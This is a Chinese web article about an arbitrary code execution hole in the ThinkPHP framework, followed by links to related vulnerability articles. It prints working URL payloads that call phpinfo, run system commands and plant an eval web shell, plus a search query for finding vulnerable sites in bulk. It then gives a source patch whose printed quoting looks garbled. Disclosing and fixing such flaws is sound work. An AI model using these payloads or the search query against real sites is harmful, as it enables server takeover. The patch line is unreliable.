ThinkPHP框架任意代码执行漏洞的利用及其修复方法
ThinkPHP是国内著名的开源的PHP框架,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结 构和MVC模式,融合了Struts的Action和Dao思想和JSP的TagLib(标签库)、RoR的ORM映射和ActiveRecord模式, 封装了CURD和一些常用操作,单一入口模式等,在模版引擎、缓存机制、认证机制和扩展性方面均有独特的表现.
然而近期thinkphp框架爆出了一个任意代码执行漏洞,其危害性相当的高,漏洞利用方法如下:
index.php/module/aciton/param1/${@print(THINK_VERSION)} index.php/module/aciton/param1/${@function_all()}
其中的function_all代表任何函数,比如:
index.php/module/aciton/param1/${@phpinfo()}
就可以获取服务器的系统配置信息等。
index.php/module/action/param1/{${system($_GET['x'])}}?x=ls -al
可以列出网站文件列表
index.php/module/action/param1/{${eval($_POST[s])}}
就可以直接执行一句话代码,用菜刀直接连接.
这样黑客们就可以直接通过google批量搜索关键字:thinkphp intitle:系统发生错误 来获取更多使用thinkphp框架的网站列表。可见其危害性相当的大。
thinkphp框架执行任意代码漏洞修复方法:
用户可下载官方发布的补丁:
http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838
或者或者直接修改源码:
将/ThinkPHP/Lib/Core/Dispatcher.class.php文件中的
$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
修改为:
$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2';', implode($depr,$paths));
将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行。
注:本文仅供学习参考使用,请不要用于非法用途。
更多关于thinkPHP相关内容感兴趣的读者可查看本站专题:《ThinkPHP入门教程》、《thinkPHP模板操作技巧总结》、《ThinkPHP常用方法总结》、《smarty模板入门基础教程》及《PHP模板技术总结》。
希望本文所述对大家基于ThinkPHP框架的PHP程序设计有所帮助。
相关推荐
-
php 远程包含文件漏洞分析第1/6页
几乎所有的cgi程序都有这样的 bug,只是具体的表现方式不一样罢了. 一.涉及到的危险函数[include(),require()和include_once(),require_once()] include() && require()语句:包括并运行指定文件. 这两种结构除了在如何处理失败之外完全一样.include() 产生一个警告而 require() 则导致一个致命错误.换句话说,如果你想在遇到丢失文件时停止处理页面就用 require().include() 就不是这样,脚本
-
PHP漏洞全解(详细介绍)
针对PHP的网站主要存在下面几种攻击方式: 1.命令注入(Command Injection) 2.eval注入(Eval Injection) 3.客户端脚本攻击(Script Insertion) 4.跨网站脚本攻击(Cross Site Scripting, XSS) 5.SQL注入攻击(SQL injection) 6.跨网站请求伪造攻击(Cross Site Request Forgeries, CSRF) 7.Session 会话劫持(Session Hijacking) 8.Ses
-
比较好用的PHP防注入漏洞过滤函数代码
复制代码 代码如下: <?PHP //PHP整站防注入程序,需要在公共文件中require_once本文件 //判断magic_quotes_gpc状态 if (@get_magic_quotes_gpc ()) { $_GET = sec ( $_GET ); $_POST = sec ( $_POST ); $_COOKIE = sec ( $_COOKIE ); $_FILES = sec ( $_FILES ); } $_SERVER = sec ( $_SERVER ); functi
-
php str_replace的替换漏洞
定义和用法 str_replace() 函数使用一个字符串替换字符串中的另一些字符. 语法 str_replace(find,replace,string,count) 参数 描述 find 必需.规定要查找的值. replace 必需.规定替换 find 中的值的值. string 必需.规定被搜索的字符串. count 可选.一个变量,对替换数进行计数. 提示和注释 注释:该函数对大小写敏感.请使用 str_ireplace() 执行对大小写不敏感的搜索. 注释:该函数是二进制安全的. 例子
-
fastcgi文件读取漏洞之python扫描脚本
PHP FastCGI的远程利用 说到FastCGI,大家都知道这是目前最常见的webserver动态脚本执行模型之一.目前基本所有web脚本都基本支持这种模式,甚至有的类型脚本这是唯一的模式(ROR,Python等). FastCGI的主要目的就是,将webserver和动态语言的执行分开为两个不同的常驻进程,当webserver接收到动态脚本的请求,就通过fcgi协议将请求通过网络转发给fcgi进程,由fcgi进程进行处理之后,再将结果传送给webserver,然后webserver再输出给
-
php中sql注入漏洞示例 sql注入漏洞修复
在开发网站的时候,出于安全考虑,需要过滤从页面传递过来的字符.通常,用户可以通过以下接口调用数据库的内容:URL地址栏.登陆界面.留言板.搜索框等.这往往给骇客留下了可乘之机.轻则数据遭到泄露,重则服务器被拿下. 一.SQL注入的步骤 a) 寻找注入点(如:登录界面.留言板等) b) 用户自己构造SQL语句(如:' or 1=1#,后面会讲解) c) 将sql语句发送给数据库管理系统(DBMS) d) DBMS接收请求,并将该请求解释成机器代码指令,执行必要的存取操作 e) DBMS接
-
PHP-CGI远程代码执行漏洞分析与防范
CVE-2012-1823出来时据说是"PHP远程代码执行漏洞",曾经也"轰动一时",当时的我只是刚踏入安全门的一个小菜,直到前段时间tomato师傅让我看一个案例,我才想起来这个漏洞.通过在 Vulhub 中对这个漏洞环境的搭建与漏洞原理的分析,我觉得还挺有意思的,故写出一篇文章来,和大家分享. 首先,介绍一下PHP的运行模式. 下载PHP源码,可以看到其中有个目录叫sapi.sapi在PHP中的作用,类似于一个消息的"传递者",比如我在<
-
在PHP中使用FastCGI解析漏洞及修复方案
漏洞描述: Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME.当访问http://192.168.1.102/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为"phpinfo.jpg/1.php",然后构造成SCRIPT_FILENAME传递给PHP CGI.如果PHP中开启了fix_pathinfo这个选项,PHP会认为SCRIPT_FILENAME是ph
-
ThinkPHP框架任意代码执行漏洞的利用及其修复方法
ThinkPHP是国内著名的开源的PHP框架,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的.最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布.早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结 构和MVC模式,融合了Struts的Action和Dao思想和JSP的TagLib(标签库).RoR的ORM映射和ActiveRecord模式, 封装了CURD和一些常
-
Apache Flink 任意 Jar 包上传导致远程代码执行漏洞复现问题(漏洞预警)
漏洞描述 Apache Flink是一个用于分布式流和批处理数据的开放源码平台.Flink的核心是一个流数据流引擎,它为数据流上的分布式计算提供数据分发.通信和容错功能.Flink在流引擎之上构建批处理,覆盖本地迭代支持.托管内存和程序优化.近日有安全研究人员发现apache flink允许上传任意的jar包从而导致远程代码执行. 漏洞级别 高危 影响范围 Apache Flink <=1.9.1 漏洞复现 首先下载Apache Flink 1.9.1安装包并进行解压,之后进入bin文件夹内运行
-
关于Android中WebView远程代码执行漏洞浅析
1. WebView 远程代码执行漏洞描述 Android API level 16以及之前的版本存在远程代码执行安全漏洞,该漏洞源于程序没有正确限制使用WebView.addJavascriptInterface方法,远程攻击者可通过使用Java Reflection API利用该漏洞执行任意Java对象的方法,简单的说就是通过addJavascriptInterface给WebView加入一个JavaScript桥接接口,JavaScript通过调用这个接口可以直接操作本地的JAVA接口.该
-
最新log4j2远程代码执行漏洞
目录 问题描述 漏洞简介 临时解决方案 问题描述 在12月9日晚间出现了Apache Log4j2 远程代码执行漏洞攻击代码.该漏洞利用无需特殊配置,经多方验证,Apache Struts2.Apache Solr.Apache Druid.Apache Flink等均受影响.Apache Log4j2是一款流行的Java日志框架,建议广大交易所.钱包.DeFi项目方抓紧自查是否受漏洞影响,并尽快升级新版本. Apache Log4j2是一个基于Java的日志记录工具.该工具重写了Log4j框架
-
最新log4j2远程代码执行漏洞(附解决方法)
目录 问题描述 漏洞简介 临时解决方案 问题描述 在12月9日晚间出现了Apache Log4j2 远程代码执行漏洞攻击代码.该漏洞利用无需特殊配置,经多方验证,Apache Struts2.Apache Solr.Apache Druid.Apache Flink等均受影响.Apache Log4j2是一款流行的Java日志框架,建议广大交易所.钱包.DeFi项目方抓紧自查是否受漏洞影响,并尽快升级新版本. Apache Log4j2是一个基于Java的日志记录工具.该工具重写了Log4j框架
-
Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947)的过程解析
目录 1.漏洞描述 2.影响版本 3.漏洞环境搭建 4.漏洞复现 5.修复方案 1.漏洞描述 Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提供一种简单.有效.统一的 API 路由管理方式. Spring官方博客发布了一篇关于Spring Cloud Gateway的CVE报告,据公告描述,当启用和暴露 Gateway Actuator 端点时,使用 Spring Cloud Gateway
-
Windows CVE-2019-0708 远程桌面代码执行漏洞复现问题
一.漏洞说明 2019年5月15日微软发布安全补丁修复了CVE编号为CVE-2019-0708的Windows远程桌面服务(RDP)远程代码执行漏洞,该漏洞在不需身份认证的情况下即可远程触发,危害与影响面极大. 目前,9月7日EXP代码已被公开发布至metasploit-framework的Pull requests中,经测试已经可以远程代码执行. 二.漏洞影响版本 Windows 7 Windows server 2008 R2 Windows server 2008 Windows 2003
-
Spring Framework远程代码执行漏洞分析(最新漏洞)
目录 1.漏洞描述 2.漏洞影响排查方法 2.1.JDK 版本号排查 2.2.Spring 框架使用情况排査 3.解决方案 3.1.版本升级 3.2.缓解措施 Spring Framework远程代码执行漏洞 发布时间 2022-03-31 漏洞等级 High CVE编号 CVE-2022-22965 影响范围:同时满足以下三个条件可确定受此漏洞影响: JDK 版本 >= 9 使用了 Spring 框架或衍生框架 项目中 Controller 参数接收实体类对象并存在代码调用 1.漏洞描述 Sp
-
CVE-2019-9193之PostgreSQL 任意命令执行漏洞的问题
目录 一.靶场环境 二.漏洞利用 三.漏洞修复 起序:客户内网测试的时候遇到的,搭建一个环境,写个笔记记录一下. 一.靶场环境 使用的是 github 上的 vulhub 环境.PostgreSQL 版本为 10.7. vulhub:https://github.com/vulhub/vulhub 1.任意命令执行 具有数据库服务器文件读取权限的攻击者可以利用此漏洞执行任意系统命令. 从 9.3 版本开始,Postgres 新增了一个 COPY TO/FROM PROGRAM 功能,允许数据库的
随机推荐
- VMware Workstation安装配置方法图文教程
- javascript object array方法使用详解
- 使用.NET中的Action及Func泛型委托深入剖析
- 关于查看MSSQL 数据库 用户每个表 占用的空间大小
- Python获取Windows或Linux主机名称通用函数分享
- GET方法URL中传递中文参数乱码的解决方法
- C# 设计模式系列教程-抽象工厂模式
- Android模拟器无法启动,报错:Cannot set up guest memory ‘android_arm’ Invalid argument的解决方法
- C++利用容器查找重复列功能实现
- 浅谈Node.js:Buffer模块
- 测试JavaScript字符串处理性能的代码
- 保护(IIS)web服务器安全的15个技巧
- vue axios 二次封装的示例代码
- Android RecyclerView实现多种item布局的方法
- vue实现word,pdf文件的导出功能
- java常用工具类 IP、File文件工具类
- 详解易语言的运算符及表达式
- python递归法解决棋盘分割问题
- tomcat部署java web项目遇到的问题及解决方法
- Dagger2新手入门与使用基础教程